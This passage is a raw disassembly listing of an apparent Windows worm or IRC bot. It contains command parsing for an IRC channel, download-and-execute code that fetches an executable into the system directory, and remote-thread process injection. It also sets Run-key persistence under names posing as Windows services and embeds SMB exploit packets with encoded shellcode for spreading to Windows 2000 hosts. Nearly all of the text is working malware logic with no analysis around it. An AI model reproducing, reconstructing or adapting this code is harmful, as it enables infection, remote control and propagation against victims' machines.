ds:dword_315061A4, ebx call sub_315018BA mov esi, dword_31501124 call esi ; rand push 4 cdq pop ecx idiv ecx lea eax, [ebp-4Ch] add edx, ecx push edx push eax call sub_31501932 cmp ds:dword_315061A0, ebx mov edi, dword_3150106C pop ecx pop ecx jz short loc_3150345D lea eax, [ebp-4Ch] push offset a_ ; "_" push eax call edi ; lstrcatA loc_3150345D: ; CODE XREF: UPX0:31503450j lea eax, [ebp-4Ch] push offset a13 ; "13" push eax call edi ; lstrcatA lea ecx, [ebp-2F4h] call sub_31502DA1 mov [ebp-4], ebx loc_31503476: ; CODE XREF: UPX0:315035DDj ; UPX0:31503603j push offset dword_315061A8 lea eax, [ebp-18h] push offset dword_315061AC push eax call sub_31503371 add esp, 0Ch loc_3150348C: ; CODE XREF: UPX0:315034A0j call sub_31501A32 test eax, eax jnz short loc_315034A2 push 3E8h call dword_315010A4 ; Sleep jmp short loc_3150348C ; --------------------------------------------------------------------------- loc_315034A2: ; CODE XREF: UPX0:31503493j xor ebx, ebx call esi ; rand push 7 cdq pop ecx idiv ecx lea eax, [ebp-6Ch] add edx, 5 push edx push eax call sub_31501932 pop ecx xor edi, edi pop ecx loc_315034BD: ; CODE XREF: UPX0:315034F9j push 1A0Bh lea ecx, [ebp-2F4h] push off_31505E14 call sub_31502DB6 lea eax, [ebp-6Ch] push eax lea eax, [ebp-4Ch] push eax call dword_315010A0 ; lstrlenA push eax lea eax, [ebp-4Ch] push eax lea ecx, [ebp-2F4h] call sub_31502DEC test eax, eax jz short loc_31503550 inc edi cmp edi, 8 jl short loc_315034BD xor edi, edi loc_315034FD: ; CODE XREF: UPX0:3150354Cj call sub_31501A32 test eax, eax jz short loc_3150355E push 1A0Bh call esi ; rand push 13h xor edx, edx pop ecx div ecx lea ecx, [ebp-2F4h] push off_31505E14[edx*4] call sub_31502DB6 lea eax, [ebp-6Ch] push eax lea eax, [ebp-4Ch] push eax call dword_315010A0 ; lstrlenA push eax lea eax, [ebp-4Ch] push eax lea ecx, [ebp-2F4h] call sub_31502DEC test eax, eax jz short loc_3150355B inc edi cmp edi, 4Ch jb short loc_315034FD jmp short loc_3150355E ; --------------------------------------------------------------------------- loc_31503550: ; CODE XREF: UPX0:315034F3j push 1 pop ebx mov ds:dword_315061A4, ebx jmp short loc_31503567 ; --------------------------------------------------------------------------- loc_3150355B: ; CODE XREF: UPX0:31503546j push 1 pop ebx loc_3150355E: ; CODE XREF: UPX0:31503504j ; UPX0:3150354Ej cmp ds:dword_315061A4, 0 jz short loc_31503576 loc_31503567: ; CODE XREF: UPX0:31503559j lea eax, [ebp-18h] push offset aTaty ; "#taty" push eax call dword_31501088 ; lstrcpyA loc_31503576: ; CODE XREF: UPX0:31503565j test ebx, ebx jz short loc_315035EE call sub_31501A32 test eax, eax jz short loc_315035EE loc_31503583: ; CODE XREF: UPX0:315035A8j lea eax, [ebp-18h] lea ecx, [ebp-2F4h] push eax call sub_315030B1 test eax, eax jz short loc_315035AA push 3E8h call dword_315010A4 ; Sleep call sub_31501A32 test eax, eax jnz short loc_31503583 loc_315035AA: ; CODE XREF: UPX0:31503594j cmp ds:dword_315061A4, 0 jz short loc_315035BA mov edx, 0A8C0h jmp short loc_315035CA ; --------------------------------------------------------------------------- loc_315035BA: ; CODE XREF: UPX0:315035B1j call esi ; rand cdq mov ecx, 1F4h idiv ecx add edx, 578h loc_315035CA: ; CODE XREF: UPX0:315035B8j push edx lea ecx, [ebp-2F4h] call sub_315031EC call sub_31501A32 test eax, eax jz loc_31503476 lea ecx, [ebp-2F4h] call sub_31503183 loc_315035EE: ; CODE XREF: UPX0:31503578j ; UPX0:31503581j call esi ; rand push 0Ah cdq pop ecx idiv ecx imul edx, 0EA60h push edx call dword_315010A4 ; Sleep jmp loc_31503476 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31503608 proc near ; CODE XREF: sub_31503722+5Ep var_110 = byte ptr -110h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 110h push ebx push esi xor esi, esi push edi push esi push esi push esi push 1 push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_31501154 ; InternetOpenA mov ebx, eax cmp ebx, esi jnz short loc_31503633 push 1 jmp loc_315036C9 ; --------------------------------------------------------------------------- loc_31503633: ; CODE XREF: sub_31503608+22j lea eax, [ebp+var_110] push 104h push eax call dword_31501068 ; GetSystemDirectoryA mov edi, dword_3150106C lea eax, [ebp+var_110] push offset asc_31505CF0 ; "\\" push eax call edi ; lstrcatA lea eax, [ebp+var_110] push 6 push eax call dword_315010A0 ; lstrlenA lea eax, [ebp+eax+var_110] push eax call sub_31501932 pop ecx lea eax, [ebp+var_110] pop ecx push offset a_exe ; ".exe" push eax call edi ; lstrcatA push esi push esi push 2 push esi push esi lea eax, [ebp+var_110] push 40000000h push eax call dword_315010F0 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_315036A9 push 2 jmp short loc_315036C9 ; --------------------------------------------------------------------------- loc_315036A9: ; CODE XREF: sub_31503608+9Bj push esi push esi push esi push esi push [ebp+arg_0] push ebx call dword_31501150 ; InternetOpenUrlA cmp eax, esi mov [ebp+arg_0], eax jnz short loc_315036CC push [ebp+var_4] call dword_315010BC ; CloseHandle push 3 loc_315036C9: ; CODE XREF: sub_31503608+26j ; sub_31503608+9Fj pop eax jmp short loc_3150371D ; --------------------------------------------------------------------------- loc_315036CC: ; CODE XREF: sub_31503608+B4j mov edi, 100000h push edi call sub_31502800 mov ebx, eax pop ecx lea eax, [ebp+var_8] push eax push edi push ebx push [ebp+arg_0] call dword_31501158 ; InternetReadFile lea eax, [ebp+var_C] push esi push eax push [ebp+var_8] push ebx push [ebp+var_4] call dword_3150104C ; WriteFile push [ebp+var_4] call dword_315010BC ; CloseHandle lea eax, [ebp+var_110] push 5 push eax call sub_31501962 push ebx call sub_31502814 add esp, 0Ch xor eax, eax loc_3150371D: ; CODE XREF: sub_31503608+C2j pop edi pop esi pop ebx leave retn sub_31503608 endp ; =============== S U B R O U T I N E ======================================= sub_31503722 proc near ; CODE XREF: sub_315031EC+D1p var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_264 = byte ptr -264h var_200 = byte ptr -200h var_100 = byte ptr -100h var_FF = byte ptr -0FFh arg_0 = dword ptr 4 sub esp, 2CCh push ebx push ebp push esi push edi push offset dword_315061AC mov esi, ecx push [esp+2E0h+arg_0] call dword_31501120 ; strstr mov edi, dword_315010C8 pop ecx mov ebx, eax pop ecx mov [esp+2DCh+var_2CC], ebx call edi ; GetTickCount sub eax, [esi+70h] cmp eax, 927C0h jbe short loc_31503761 and dword ptr [esi+284h], 0 loc_31503761: ; CODE XREF: sub_31503722+36j cmp dword ptr [esi+7Ch], 0 jz short loc_315037C3 call edi ; GetTickCount mov ecx, [esi+78h] sub eax, [esi+74h] imul ecx, 3E8h cmp eax, ecx jbe short loc_315037C3 lea eax, [esi+180h] push eax call sub_31503608 test eax, eax pop ecx jnz short loc_315037C3 call edi ; GetTickCount push dword ptr [esi+78h] and dword ptr [esi+7Ch], 0 mov [esi+70h], eax lea eax, [esp+2E0h+var_2C8] push offset a1D ; "-1,%d" push eax mov dword ptr [esi+284h], 1 call dword_3150113C ; wsprintfA add esp, 0Ch lea eax, [esp+2DCh+var_2C8] mov ecx, esi push eax lea eax, [esi+30h] push eax call sub_315032FA loc_315037C3: ; CODE XREF: sub_31503722+43j ; sub_31503722+55j ... test ebx, ebx jz loc_31503A01 push ebx call dword_315010A0 ; lstrlenA cmp eax, 0Ah jle loc_31503A01 mov ebp, dword_31501110 add ebx, 8 push 7Ch push ebx call ebp ; strchr mov edi, eax pop ecx test edi, edi pop ecx jz loc_31503A01 and byte ptr [edi], 0 push ebx call dword_315010A0 ; lstrlenA cmp eax, 100h jge loc_31503A28 push ds:dword_315061A8 lea eax, [esp+2E0h+var_200] push ebx push eax call sub_31502D3C lea ebx, [edi+1] push 7Ch push ebx mov byte ptr [edi], 7Ch call ebp ; strchr mov edi, eax add esp, 14h test edi, edi jz loc_31503A01 and byte ptr [edi], 0 push ebx call dword_315010A0 ; lstrlenA cmp eax, 100h jge loc_31503A28 push ds:dword_315061A8 lea eax, [esi+180h] push ebx push eax call sub_31502D3C add esp, 0Ch lea eax, [esp+2DCh+var_200] push offset aE ; "e" push eax call dword_31501040 ; lstrcmpA mov ebx, dword_31501088 test eax, eax jnz loc_31503968 lea eax, [esi+180h] push eax call dword_315010A0 ; lstrlenA cmp eax, 0FFh jge loc_31503968 cmp dword ptr [esi+284h], 0 jnz loc_31503968 cmp dword ptr [esi+7Ch], 0 jnz loc_31503968 lea eax, [edi+1] push 7Ch push eax call ebp ; strchr mov ebp, eax pop ecx test ebp, ebp pop ecx jz loc_31503949 and byte ptr [ebp+0], 0 lea eax, [edi+1] push eax call dword_315010A0 ; lstrlenA cmp eax, 100h jge loc_31503A28 lea eax, [edi+1] push eax lea eax, [esp+2E0h+var_100] push eax call ebx ; lstrcpyA push [esp+2DCh+var_2CC] lea eax, [esi+80h] mov byte ptr [edi], 7Ch push eax call ebx ; lstrcpyA mov byte ptr [ebp+0], 7Ch and byte ptr [edi], 0 cmp [esp+2DCh+var_100], 65h jle short loc_31503956 lea eax, [esp+2DCh+var_FF] push eax call dword_315010F8 ; atoi mov ebp, eax pop ecx test ebp, ebp jz short loc_31503956 cmp ebp, 0E10h jnb short loc_31503956 call dword_31501124 ; rand xor edx, edx mov dword ptr [esi+7Ch], 1 div ebp mov [esi+78h], edx call dword_315010C8 ; GetTickCount mov [esi+74h], eax jmp short loc_31503956 ; --------------------------------------------------------------------------- loc_31503949: ; CODE XREF: sub_31503722+19Dj push [esp+2DCh+var_2CC] lea eax, [esi+80h] push eax call ebx ; lstrcpyA loc_31503956: ; CODE XREF: sub_31503722+1E9j ; sub_31503722+1FEj ... lea eax, [esi+80h] push offset asc_31506124 ; "|" push eax call dword_3150106C ; lstrcatA loc_31503968: ; CODE XREF: sub_31503722+15Aj ; sub_31503722+172j ... mov ebp, dword_31501040 lea eax, [esp+2DCh+var_200] push offset aI ; "i" push eax call ebp ; lstrcmpA test eax, eax jnz short loc_315039DE lea eax, [esp+2DCh+var_2C8] push offset dword_315061CC push eax call ebx ; lstrcpyA lea eax, [esp+2DCh+var_2C8] push 63h push eax push 7 push 400h call dword_31501040+4 push ds:dword_31506198 lea eax, [esp+2E0h+var_2C8] push eax lea eax, [esp+2E4h+var_264] push ds:dword_31506194 push ds:dword_3150615C push offset aDD13SD ; "%d,%d,13%s,%d" push eax call dword_3150113C ; wsprintfA add esp, 18h lea eax, [esp+2DCh+var_264] mov ecx, esi push eax lea eax, [esi+30h] push eax call sub_315032FA loc_315039DE: ; CODE XREF: sub_31503722+25Dj lea eax, [esp+2DCh+var_200] push offset aQ ; "q" push eax call ebp ; lstrcmpA test eax, eax jnz short loc_315039FE cmp [esi+284h], eax jz short loc_315039FE push 1 pop eax jmp short loc_31503A2A ; --------------------------------------------------------------------------- loc_315039FE: ; CODE XREF: sub_31503722+2CDj ; sub_31503722+2D5j mov byte ptr [edi], 7Ch loc_31503A01: ; CODE XREF: sub_31503722+A3j ; sub_31503722+B3j ... cmp dword ptr [esi+284h], 0 jz short loc_31503A28 push offset aJoin ; "JOIN" push [esp+2E0h+arg_0] call dword_31501120 ; strstr pop ecx test eax, eax pop ecx jz short loc_31503A28 call dword_31501124 ; rand loc_31503A28: ; CODE XREF: sub_31503722+E2j ; sub_31503722+123j ... xor eax, eax loc_31503A2A: ; CODE XREF: sub_31503722+2DAj pop edi pop esi pop ebp pop ebx add esp, 2CCh retn 4 sub_31503722 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503A38 proc near ; CODE XREF: sub_315011C0+128p ; sub_315011C0+134p ... jmp dword_31501134 sub_31503A38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503A3E proc near ; CODE XREF: sub_315011C0+9Cp ; sub_315011C0+C5p ... jmp dword_31501130 sub_31503A3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503A44 proc near ; CODE XREF: sub_315011C0+93p ; sub_315011C0+B2p ... jmp dword_3150112C sub_31503A44 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_31503A50 proc near ; CODE XREF: sub_315011C0+8p arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_31503A70 loc_31503A5C: ; CODE XREF: sub_31503A50+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_31503A5C loc_31503A70: ; CODE XREF: sub_31503A50+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_31503A50 endp ; --------------------------------------------------------------------------- align 10h loc_31503A80: ; DATA XREF: sub_31501D96+Ao jmp dword ptr loc_3150111C ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503A86 proc near ; CODE XREF: sub_31501F6B+10Cp ; sub_31501F6B+119p ... jmp dword_31501118 sub_31503A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503A8C proc near ; CODE XREF: sub_31501F6B+35p jmp dword_31501114 sub_31503A8C endp ; --------------------------------------------------------------------------- loc_31503A92: ; CODE XREF: UPX0:31503AC9j ; UPX0:31503AE0j jmp dword ptr locret_3150110A+2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503A98 proc near ; CODE XREF: sub_315031EC+5p ; UPX0:3150340Dp jmp dword ptr loc_31501108 sub_31503A98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503A9E proc near ; CODE XREF: sub_31503371+4Fp jmp dword_31501104 sub_31503A9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503AA4 proc near ; CODE XREF: sub_31503371+34p jmp dword_31501100 sub_31503AA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503AAA proc near ; CODE XREF: sub_31503371+1Fp jmp dword_315010FC sub_31503AAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503AB0 proc near ; CODE XREF: sub_31502490+ABp jmp dword_31501084 sub_31503AB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503AB6 proc near ; CODE XREF: sub_31502490+64p jmp dword_3150107C sub_31503AB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503ABC proc near ; CODE XREF: sub_31502490+2Dp jmp dword_31501078 sub_31503ABC endp ; --------------------------------------------------------------------------- align 4 loc_31503AC4: ; DATA XREF: sub_315031ECo mov eax, offset dword_31503AE8 jmp loc_31503A92 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-2F4h] jmp loc_31502DD4 ; --------------------------------------------------------------------------- loc_31503ADB: ; DATA XREF: UPX0:loc_31503408o mov eax, offset dword_31503B40 jmp loc_31503A92 ; --------------------------------------------------------------------------- align 4 dword_31503AE8 dd 19930520h, 2, 31503B08h, 1, 31503B18h, 3 dup(0) ; DATA XREF: UPX0:loc_31503AC4o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 31503B30h, 4 dup(0) dd offset loc_315032E0 dword_31503B40 dd 19930520h, 1, 31503B60h, 5 dup(0) dd 0FFFFFFFFh, 31503AD0h, 526h dup(0) byte_31505000 db 0EBh ; DATA XREF: sub_315011C0+24Eo ; sub_315011C0+260o ... db 58h word_31505002 dw 7468h ; DATA XREF: sub_31502277+40o dd 2F3A7074h, 3732312Fh, 302E302Eh, 383A312Eh, 652F3030h dd 6578652Eh, 4 dup(0DFDFDFDFh), 7A6F4DDFh, 616C6C69h dd 302E342Fh, 0C9335DDFh, 1F1B966h, 8B05758Dh, 3C068AFEh dd 46057599h, 302C068Ah, 88993446h, 0EDE24707h, 0DAE80AEBh dd 2EFFFFFFh, 2E676562h, 0C9999371h, 0C999C999h, 91BDFD12h dd 0C99916FDh, 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 9998A91Ch dd 0C9C999C9h, 98F198F3h, 9986C999h, 98C571C9h, 0C999C999h dd 37CB5F90h, 1C965992h, 99C99978h, 14C999C9h, 7D7157E4h dd 0C999C999h, 0E414C999h, 9945713Ah, 99C999C9h, 0F19DF3C9h dd 9989C999h, 0F1C999C9h, 0C999C999h, 0F3C9999Ch, 0B471C999h dd 99C99998h, 0E3F367C9h, 0D11C10F0h, 99C99998h, 0C959B2C9h dd 0C99BF3C9h, 0C999F1C9h, 0C999C999h, 0A20414D9h, 99C99998h dd 9371CAC9h, 99C99998h, 61688DC9h, 0AE1C1091h, 99C99998h dd 66611AC9h, 99111D96h, 99C999C9h, 0C850B2C9h, 98F3C8C8h dd 0C957DC14h, 0C9992671h, 0C999C999h, 91C0A44Eh, 59924912h dd 59B2F7EDh, 0C9C9C9C9h, 0CA3AC414h, 993C71CBh, 99C999C9h dd 0E424FFC9h, 0ED599221h, 0F1CDCDCFh, 0C999C999h, 66C9999Ch dd 9998D12Ch, 0C9C999C9h, 0C9991371h, 0C999C999h, 83B8B0FBh dd 5D12CDC3h, 0C9C999F3h, 0D12C66CBh, 99C99998h, 0AE2C66C9h dd 99C99998h, 990C71C9h, 99C999C9h, 0A6485AC9h, 2C66C096h dd 0C99998AEh, 1C71C999h, 0C999C999h, 294CC999h, 9CF3EBA7h dd 98A20414h, 0C999C999h, 99EA71CAh, 99C999C9h, 26F434C9h dd 0C999F371h, 0C999F171h, 0C999C999h, 0EF133BF9h, 376B4629h dd 9966DE5Fh, 0A8EC5AC9h, 0F0ABB7AAh, 2 dup(0C999C999h) dd 0C5B7C999h, 0ECE9EDFFh, 0FCB7FDE9h, 0C999FCE1h, 6 dup(0C999C999h) dd 0FCFCF5CAh, 0F2C999E9h, 0FCF7EBFCh, 99ABAAF5h, 0F934C7C9h dd 25B459AAh, 0C9662A2Ah, 819093ACh, 909CC9B7h, 0C983639Dh dd 999271CDh, 99C999C9h, 3519BFC9h, 0BDFD1451h, 91720A95h dd 71F934C7h, 99C999C8h, 12C999C9h, 0D512A5D2h, 529AE180h dd 8D146FAAh, 0B9C89A2Ah, 4A9A8B12h, 595859AAh, 0DB9BAB9Eh dd 0C999A319h, 0DDA26CECh, 9EED85BDh, 81E8A2DFh, 125544EBh dd 4A9ABDC8h, 0EB8D2E96h, 9A85D812h, 99D125Ah, 0DD105A9Ah dd 10F885BDh, 9998D51Ch, 66C999C9h, 0FD7F6649h, 0A98712FEh dd 0C212C999h, 85C21295h, 0C2128212h, 0FCB75A91h, 0B7FDF7h dword_315052C8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_315011C0+186o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_31505354 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+1BAo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_31505400 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+1EEo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_315054E0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+8Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_315011C0+BFo unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_31505544 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+2D4o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_315055B0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+308o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_31505654 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+4EEo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dword_315056D4 dd 401495h, 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_31505768 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+347o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_315057D4 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+372o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_31505848 dd 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 3 dup(0) dd 586E6957h, 72502050h, 6Fh, 9 dup(0) db 2 dup(0) dword_31505906 dd 1004600h dw 1 dd 69570000h, 206B326Eh, 6F7250h, 0Ah dup(0) dword_31505940 dd 7515123Ch, 2, 326E6957h, 5341206Bh, 0Ah dup(0) ; DATA XREF: sub_315011C0+41Bo ; sub_315011C0+45Do dd 123C0000h, 751Ch, 0Eh dup(0) ; --------------------------------------------------------------------------- loc_315059B8: ; DATA XREF: sub_315011C0+44Ao jmp short loc_315059C0 ; --------------------------------------------------------------------------- jmp short loc_315059C2 ; --------------------------------------------------------------------------- align 10h loc_315059C0: ; CODE XREF: UPX0:loc_315059B8j ; DATA XREF: sub_315011C0+5Co pop esp pop esp loc_315059C2: ; CODE XREF: UPX0:315059BAj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_315059CC dd 1CEC8166h dword_315059D0 dd 0E4FF07h aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_31501727+62o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_31501727+39o align 10h aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_31501727+2Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_31501727+1Bo align 4 aAdvapi32 db 'advapi32',0 ; DATA XREF: sub_31501727+8o ; sub_31501D96+102o align 4 aUterm13_2i db 'uterm13.2i',0 ; DATA XREF: sub_315017AF:loc_31501894o ; UPX0:31501D35o ... align 4 aShell_traywnd db 'Shell_TrayWnd',0 ; DATA XREF: sub_315017AF+58o align 4 aCreateremoteth db 'CreateRemoteThread',0 ; DATA XREF: sub_315017AF:loc_315017F6o align 4 aVirtualallocex db 'VirtualAllocEx',0 ; DATA XREF: sub_315017AF+34o align 4 aKernel32 db 'kernel32',0 ; DATA XREF: sub_315017AF+18o align 4 dword_31505A84 dd 0E9F3F5h aHttp1_1200Ok db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_31501A62+106o db 0Dh,0Ah db 0Dh,0Ah,0 align 10h aContentLengthU db 'Content-Length: %u',0Dh,0Ah ; DATA XREF: sub_31501A62+85o db 0Dh,0Ah,0 align 4 aHttp1_1200OkCo db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_31501A62+71o db 'Content-Type: application/x-exe-compressed',0Dh,0Ah,0 align 4 a_exe db '.exe',0 ; DATA XREF: sub_31501A62+55o ; sub_315025F6+4Bo ... align 10h aGet db 'GET',0 ; DATA XREF: sub_31501A62+3Do aFtpupd_exe db 'ftpupd.exe',0 ; DATA XREF: UPX0:31501D20o align 10h aUser32 db 'user32',0 ; DATA XREF: sub_31501D96+109o align 4 aMsvcrt db 'msvcrt',0 ; DATA XREF: sub_31501D96+FBo align 10h aWininet db 'wininet',0 ; DATA XREF: sub_31501D96+F4o aWs2_32 db 'ws2_32',0 ; DATA XREF: sub_31501D96+E7o align 10h aU14 db 'u14',0 ; DATA XREF: sub_31501D96+D5o aU13_2i db 'u13.2i',0 ; DATA XREF: sub_31501D96+C9o align 4 aU13i db 'u13i',0 ; DATA XREF: sub_31501D96+BDo align 4 aU13 db 'u13',0 ; DATA XREF: sub_31501D96+B1o aU12 db 'u12',0 ; DATA XREF: sub_31501D96+A5o aU11 db 'u11',0 ; DATA XREF: sub_31501D96+99o aU10 db 'u10',0 ; DATA XREF: sub_31501D96+8Do aU9 db 'u9',0 ; DATA XREF: sub_31501D96+81o align 4 aU8 db 'u8',0 ; DATA XREF: sub_31501D96+75o align 4 aU13ix db 'u13ix',0 ; DATA XREF: sub_31501D96+69o align 4 aU13x db 'u13x',0 ; DATA XREF: sub_31501D96+5Do align 4 aU12x db 'u12x',0 ; DATA XREF: sub_31501D96+51o align 4 aU11x db 'u11x',0 ; DATA XREF: sub_31501D96+45o align 4 aU10x db 'u10x',0 ; DATA XREF: sub_31501D96+3Bo align 4 aU13_2ix db 'u13.2ix',0 ; DATA XREF: sub_31501D96+22o asc_31505B8C db 0Dh,0Ah,0 ; DATA XREF: sub_31501F6B+124o align 10h aUseridUnix db ' : USERID : UNIX : ',0 ; DATA XREF: sub_31501F6B+104o aHttpSDX_exe db 'http://%s:%d/x.exe',0 ; DATA XREF: sub_31502277+2Do align 4 aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_31501BA8+23o ; sub_31502548+5Fo ... align 4 aSystemUpdate db 'System Update',0 ; DATA XREF: sub_31501BA8+1Co ; sub_315025F6+87o ... align 4 aDfashnzdsdl db 'dfashnzdsdl',0 ; DATA XREF: sub_315026C2+57o ; sub_315026C2+8Ao align 10h aSoftwareMicr_0 db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_315026C2+32o aClient db 'Client',0 ; DATA XREF: sub_315026C2+BCo ; sub_315026C2+F8o align 4 aId db 'ID',0 ; DATA XREF: sub_315026C2+37o ; sub_315026C2+75o align 4 aMsConfigV13 db 'MS Config v13',0 ; DATA XREF: sub_31502548+4Eo align 4 aAvserve2_exeup db 'avserve2.exeUpdate Service',0 ; DATA XREF: sub_31502548+47o align 4 aAvserve_exe db 'avserve.exe',0 ; DATA XREF: sub_31502548+40o aWindowsUpdateS db 'Windows Update Service',0 ; DATA XREF: sub_31502548+39o align 4 aWinupdate db 'WinUpdate',0 ; DATA XREF: sub_31502548+32o align 4 aSystray db 'SysTray',0 ; DATA XREF: sub_31502548+2Bo aBotLoader db 'Bot Loader',0 ; DATA XREF: sub_31502548+24o align 4 aSystemRestoreS db 'System Restore Service',0 ; DATA XREF: sub_31502548+1Do align 10h aDiskDefragment db 'Disk Defragmenter',0 ; DATA XREF: sub_31502548+16o align 4 aWindowsSecurit db 'Windows Security Manager',0 ; DATA XREF: sub_31502548+Fo align 10h asc_31505CF0: ; DATA XREF: sub_315025F6+56o ; sub_31503608+49o unicode 0, <\>,0 a1: ; DATA XREF: sub_315026C2+B7o unicode 0, 